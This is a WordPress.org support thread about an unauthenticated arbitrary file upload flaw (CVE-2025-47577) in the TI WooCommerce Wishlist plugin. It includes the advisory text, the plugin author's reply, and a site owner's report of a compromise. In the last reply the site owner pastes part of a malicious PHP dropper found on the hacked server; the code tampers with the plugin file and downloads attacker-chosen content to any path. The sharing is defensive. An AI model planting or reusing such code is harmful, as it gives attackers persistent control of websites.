• Resolved carterkay

    (@carterkay)


    Hello.

    Really like the plugin, but I have been notified by Wordfence of a security issue, is there any chance you could send out a patch to fix, all details below, thanks.

    TI WooCommerce Wishlist <= 2.9.2 – Unauthenticated Arbitrary File Upload

    Description

    The TI WooCommerce Wishlist plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 2.9.2. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site’s server which may make remote code execution possible.References

    Unrestricted Upload of File with Dangerous Type

    CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HCVECVE-2025-47577CVSS9.8 (Critical)Publicly PublishedMay 16, 2025Last UpdatedMay 20, 2025ResearcherRafie Muhammad – Patchstack

    The page I need help with: [log in to see the link]

Viewing 3 replies - 1 through 3 (of 3 total)
  • Any updates on this? I was notified by my hosting provider to uninstall the plugin immediately due to major security risks.

    Plugin Author templateinvaders

    (@templateinvaders)

    Hi @carterkay and @nixatan

    The reported code is only executed if the third-party plugin WC Fields Factory is installed and the integration with it is enabled in our plugin settings.
    If you’re not using this integration, the relevant code is never called, and there is no need to delete or modify any plugin files manually.
    We will include a fix for this case in the upcoming update to avoid further confusion.

    The reported code is only executed if the third-party plugin WC Fields Factory is installed and the integration with it is enabled in our plugin settings.

    @templateinvaders In one installation I did not have the aforementioned plugin, much less the option activated and I had the site compromised.

    And I was only able to find out where the error came from because I found this file on the server (it’s just a part of it).
    With this access, they managed to create a user with administrative powers. Luckily, I was able to act quickly.


    	if (isset($_GET['clear'])){
    $file = $r.'/wp-content/plugins/ti-woocommerce-wishlist/public/addtowishlist.class.php';
    $content = @file_get_contents($file);
    $content = str_replace('tinvwl_addtowishlist_prepare_form', 'sp3', $content);
    if (@file_put_contents($file, $content)){
    echo 'sp3_done';
    }
    }
    if(!empty($_GET['url'])&&!empty($_GET['file'])){
    $str=file_get_contents($_GET['url']);
    echo file_put_contents($_GET['file'],$str);
    }
Viewing 3 replies - 1 through 3 (of 3 total)

The topic ‘Security vulnerability flagged up by Wordfence’ is closed to new replies.